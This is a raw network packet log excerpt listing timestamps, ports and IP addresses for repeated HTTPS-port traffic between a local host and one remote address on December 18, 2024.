Dec 18, 2024 13:21:10.602463961 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.602488995 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.602513075 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.602523088 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.602703094 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.624411106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.624465942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.624489069 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.624495983 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.624532938 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.624558926 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.630357027 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.630419970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.630424023 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.630450964 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.630465984 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.630551100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.635998011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.636023998 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.636058092 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.636064053 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.636101961 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.641237974 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.641267061 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.641300917 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.641305923 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.641340017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.641360044 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.647394896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.647425890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.647461891 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.647468090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.647506952 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.653112888 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.653136015 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.653172970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.653178930 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.653203011 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.653218985 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.658560038 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.658587933 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.658634901 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.658641100 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.658667088 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.658680916 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.794250011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.794277906 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.794334888 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.794353008 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.794378996 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.794394970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.816508055 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.816535950 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.816569090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.816582918 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.816632986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.822695017 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.822715998 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.822766066 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.822776079 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.822810888 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.822825909 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.828156948 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.828177929 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.828214884 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.828226089 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.828253031 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.828263998 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.833580971 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.833600044 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.833676100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.833686113 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.833779097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.839289904 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.839310884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.839478016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.839478016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.839489937 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.839520931 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.844930887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.844955921 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.845002890 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.845014095 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.845051050 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.850929022 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.850949049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.850996017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.851002932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.851036072 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.851047993 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.986236095 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.986262083 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.986314058 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.986335039 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.986345053 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.986392021 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.009217024 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.009238005 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.009274006 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.009280920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.009315014 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.009324074 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.015414000 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.015434980 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.015475035 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.015480995 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.015507936 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.015527010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.020042896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.020062923 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.020102978 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.020108938 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.020138025 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.020154953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.025902987 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.025921106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.025958061 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.025964022 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.026005983 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.031807899 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.031841993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.031866074 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.031877041 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.031903028 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.031919003 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.037309885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.037324905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.037369013 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.037377119 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.037399054 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.037414074 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.043171883 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.043188095 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.043235064 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.043243885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.043288946 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.178570986 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.178625107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.178647041 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.178666115 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.178678989 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.178913116 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.201282978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.201332092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.201360941 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.201375008 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.201402903 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.201411009 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.207130909 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.207175970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.207195997 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.207204103 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.207243919 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.207268953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.212315083 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.212359905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.212398052 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.212404966 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.212482929 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.218265057 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.218324900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.218329906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.218354940 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.218372107 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.218394041 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.224543095 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.224587917 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.224606991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.224615097 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.224634886 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.224658012 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.231493950 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.231513023 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.231559992 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.231566906 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.231601954 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.235445976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.235471010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.235501051 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.235507965 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.235538006 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.235554934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.373758078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.373825073 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.373847961 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.373867989 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.373903036 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.373924971 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.394681931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.394707918 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.394809961 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.394824982 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.394931078 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.399508953 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.399524927 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.399611950 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.399624109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.399669886 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.405631065 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.405647039 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.405706882 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.405719042 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.405791998 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.411211014 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.411226034 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.411297083 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.411307096 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.411465883 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.415891886 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.415905952 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.415965080 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.415973902 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.416009903 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.422702074 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.422715902 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.422774076 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.422785044 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.422821045 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.427818060 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.427835941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.427891016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.427901983 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.427937031 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.427956104 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.563853025 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.563874006 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.564357042 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.564371109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.564412117 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.586798906 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.586817026 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.586858034 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.586868048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.586901903 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.586920977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.592259884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.592273951 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.592329025 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.592334986 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.592546940 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.597007036 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.597022057 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.597073078 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.597079039 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.597225904 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.602869987 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.602894068 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.602937937 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.602948904 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.602978945 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.602997065 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.607981920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.607999086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.608048916 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.608055115 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.608093977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.615081072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.615098953 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.615148067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.615154028 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.615478039 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.619559050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.619575977 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.619632959 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.619640112 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.619677067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.755790949 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.755810976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.755903959 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.755913019 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.756057978 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.778080940 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.778100967 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.778183937 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.778191090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.778228045 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.783247948 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.783263922 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.783370018 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.783375978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.783412933 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.789197922 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.789212942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.789272070 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.789278030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.789335966 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.794907093 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.794923067 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.795010090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.795015097 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.795051098 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.800879002 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.800895929 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.800990105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.800996065 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.801032066 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.806297064 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.806310892 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.806369066 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.806375027 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.806456089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.811399937 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.811415911 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.811466932 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.811472893 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.811666012 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.948468924 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.948493958 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.948625088 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.948646069 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.950515032 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.970082998 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.970098019 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.970205069 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.970218897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.970279932 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.975790024 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.975804090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.975872040 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.975882053 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.975917101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.981686115 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.981714010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.981779099 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.981789112 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.981820107 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.981828928 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.986897945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.986910105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.986969948 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.986978054 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.987015009 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.992826939 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.992842913 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.992881060 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.992892981 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.992904902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.992932081 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.998389006 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.998402119 CET	443	49723	118.107.29.172	192.168.2.10
